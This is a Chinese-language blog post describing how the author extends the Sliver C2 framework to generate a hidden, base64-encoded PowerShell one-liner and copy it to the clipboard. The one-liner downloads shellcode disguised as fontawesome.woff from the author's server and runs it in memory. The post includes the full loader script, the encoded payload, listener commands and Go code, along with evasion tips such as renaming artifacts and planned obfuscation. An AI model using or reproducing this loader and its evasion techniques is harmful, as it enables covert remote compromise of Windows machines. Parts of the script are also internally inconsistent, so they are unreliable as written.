文件不落地上线sliver

发布时间 2023-12-25 10:41:54作者: lockly

接着二开sliver,给他添加一个生成powershell payload上线的功能,生成并复制到剪切板。

准备

首先,先开启监听,不多说直接mtls默认的就行,sliver可以生成配置文件来实现暂存,这里禁用了混淆,不然真的要很久,而且用garble反而会更容易被查杀。

Karlin » profiles new --mtls karplin.space --skip-symbols --format shellcode --arch amd64 test

[*] Saved new implant profile test

Karlin » profiles 

 Profile Name   Implant Type   Platform        Command & Control               Debug   Format      Obfuscation   Limitations 
============<span style="font-weight: bold;" class="mark"> </span>==========<span style="font-weight: bold;" class="mark"> </span>===========<span style="font-weight: bold;" class="mark"> </span>===========================<span style="font-weight: bold;" class="mark"> </span>===<span style="font-weight: bold;" class="mark"> </span>=======<span style="font-weight: bold;" class="mark"> </span>=========<span style="font-weight: bold;" class="mark"> </span>===========
 test           session        windows/amd64   [1] mtls://karplin.space:8888   false   SHELLCODE   disabled                

Karlin »  

然后就是指定profile来启动stager监听器,端口就随意一个空闲的。如果没有提前生成一个implant的话他会自动生成一个。

stage-listener --url http://karplin.space:9999 --profile test

image

如果要自己生成stager的话:

generate stager --lhost karplin.space --lport 8443 --arch amd64 --format c

下载下来看看,这里也要进行修改,默认的文件名、后缀的特征太明显了。

lockly@karplin ~/temp » wget  http://localhost:9999/fontawesome.woff
--2023-12-24 23:55:03--  http://localhost:9999/fontawesome.woff
Resolving localhost (localhost)... 127.0.0.1
Connecting to localhost (localhost)|127.0.0.1|:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/octet-stream]
Saving to: ‘fontawesome.woff’

fontawesome.woff                                              [ <=>                                                                                                                                ]   9.54M  --.-KB/s    in 0.01s   

2023-12-24 23:55:03 (657 MB/s) - ‘fontawesome.woff’ saved [10003676]

lockly@karplin ~/temp » cat fontawesome.woff | xxd | head -n 10
00000000: 4883 e4f0 4883 c408 e880 7b98 0080 7b98  H...H.....{...{.
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 00a0 52d2  ..............R.
00000040: 55f6 a322 83f7 9a15 705a 2f9a 5f79 dfc1  U.."....pZ/._y..
00000050: 770f 2eec ec6a 8303 2a8e 2e62 52c4 bc7b  w....j..*..bR..{
00000060: 8783 94f9 a076 f752 bdbb deb3 a6f4 163e  .....v.R.......>
00000070: e818 6320 e0ef 7d07 017e 7c40 298f ccd6  ..c ..}..~|@)...
00000080: a885 66d4 b2e5 9791 adb2 af28 3d0b 41fb  ..f........(=.A.
00000090: af1a 655f c433 79d1 d763 8a8d a8e4 9cc1  ..e_.3y..c......

在官方 Sliver 文档:HTTPS C2 中有提到可以更改配置文件,在~/.sliver/configs/http-c2.json​这里进行配置,这个后续修改流量特征的时候继续深入。

image

测试

用powershell下载并加载shellcode到内存,直接创建线程不够隐蔽,这就用线程池了。API的调用也是用的反射来调用。但后续可以改进的点:

  • 还可以写一些加密算法保护shellcode
  • 变量和函数名称都要进行混淆
$class1 = 'using System;'
$class2 = 'using System.Runtime.InteropServices;'
$class3 = 'public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress,
    uint dwSize,
    uint flAllocationType,
    uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(
    IntPtr lpThreadAttributes,
    uint dwStackSize,
    IntPtr lpStartAddress,
    IntPtr lpParameter,
    uint dwCreationFlags,
    IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(
    IntPtr hHandle,
    UInt32 dwMilliseconds);
}'
$Win32 = $class1 + $class2 + $class3

Add-Type $Win32

$sc = (New-Object System.Net.WebCLient).DownloadData("http://karplin.space:9999/fontawesome.woff")
if ($shellcode -eq $null) {Exit};
$size = $shellcode.Length

$VirtualAlloc = [Win32].GetMethod('VirtualAlloc')
$CreateThread = [Win32].GetMethod('CreateThread')
$WaitForSingleObject = [Win32].GetMethod('WaitForSingleObject')

[IntPtr]$addr = $VirtualAlloc.Invoke($null, @($size, 0x1000, 0x40))
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $addr, $size)

$pool = [RunspaceFactory]::CreateRunspacePool(1,2)
$pool.Open() 
$powershell = [PowerShell]::Create()
$powershell.RunspacePool = $pool
$powershell.AddScript({
    param($addr)

}) > $null
$powershell.AddParameter('addr', $addr)
$powershell.BeginInvoke()

$handle = $powershell.BeginInvoke()
$WaitForSingleObject.Invoke($handle, 0xFFFFFFFF)

将代码写入文件,把他转换为UTF-16LE编码的base64字符串输出。

cat test.psl | iconv --to-code UTF-16LE | base64 -w 0 iconv

执行之后会因为-w参数隐藏起来。

powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIAIgApAF0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAKACAAIAAgACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAKACAAIAAgACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACwAIABTAGUAdABMAGEAcwB0AEUAcgByAG8AcgA9AHQAcgB1AGUAKQBdAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwBA6AC8ALwBrAGEAcgBwAGwAaQBuAC4AcwBwAGEAYwBlADoAOQA5ADkAOQAvAGYAbwBuAHQAYQB3AGUAcwBvAG0AZQAuAHcAbwBmAGYAIgApAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsACgAkAHMAaQB6AGUAIAA9ACAAJABzAGgAZQBsAGwAYwBvAGQAZQAuAEwAZQBuAGcAdABoAAoACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsACgBbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBDAG8AcAB5ACgAJABzAGgAZQBsAGwAYwBvAGQAZQAsACAAMAAsACAAJABhAGQAZAByACwAIAAkAHMAaQB6AGUAKQAKACQAdABoAGEAbgBkAGwAZQA9AFsAVwBpAG4AMwAyAF0AOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAGEAZABkAHIALAAwACwAMAAsADAAKQA7AAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkACgAKAA==

然后也是能够成功上线。

image

实现

主打快速完成功能,具体在client/command/jobs/stage.go​,写一个函数用于生成payload:

func generatePowershell(h string) error {}

这里可以询问是否需要复制到剪切板:

	confirm := false
	prompt := &survey.Confirm{Message: "Generate powershell and copy it to clipboard?"}
	survey.AskOne(prompt, &confirm)
	if confirm {
		// 继续下面的操作
	}

用一个字符串变量存储powershell语句,然后将http://karplin.space:9999/fontawesome.woff​替换成FinalUrl​,这里要根据stage-listener进行替换,而这个值在StageListenerCmd​中被解析了stagingURL, err := url.Parse(listenerURL)​,所以就直接传入进行拼接替换即可。

format := `$class1 = 'using System;'
$class2 = 'using Sys......`

host := fmt.Sprintf("%s/fontawesome.woff", h)
out := strings.Replace(format, "FlagUrl", host, -1)

对于payload也不能明文,如上面说的可以写加密算法,我这简单实现图方便用base64b编码一下。先将uint64转换成一个byte类型的切片,再用base64编码:

utf16Bytes := utf16.Encode([]rune(out))

byteBytes := make([]byte, len(utf16Bytes)*2)
for i, v := range utf16Bytes {
	byteBytes[i*2] = byte(v)
	byteBytes[i*2+1] = byte(v >> 8)
}

base64Str := base64.StdEncoding.EncodeToString(byteBytes)

最终的payload就是powershell.exe -nop -w hidden -Enc​加上上面的编码字符串。而关于操作剪切板使用了这个包"github.com/atotto/clipboard"

err := clipboard.WriteAll(final)
if err != nil {
	return err
} 

编译之前注意引包了要go mod vendor​。同时因为这个包有一定的依赖,所以要下载以下工具,否则会这样报错No clipboard utilities available. Please install xsel, xclip, wl-clipboard or Termux:API add-on for termux-clipboard-get/set.

sudo apt install xsel xclip wl-clipboard

最后在StageListenerCmd​中调用:

err := generatePowershell(fmt.Sprintf("http://%s", stagingURL.Host)) 
if err != nil {
	con.PrintErrorf("Failed to copy payload to clipboard")
}

最终效果

可以成功复制到剪切板。

image

生成之后可以直接上线,但是powershell的窗口是会隐藏的,这里打开了展示一下。

image

TODO

  • powershell的加载方式有很多,最好添加了之后随机选择

  • 混淆powershell,更隐蔽的执行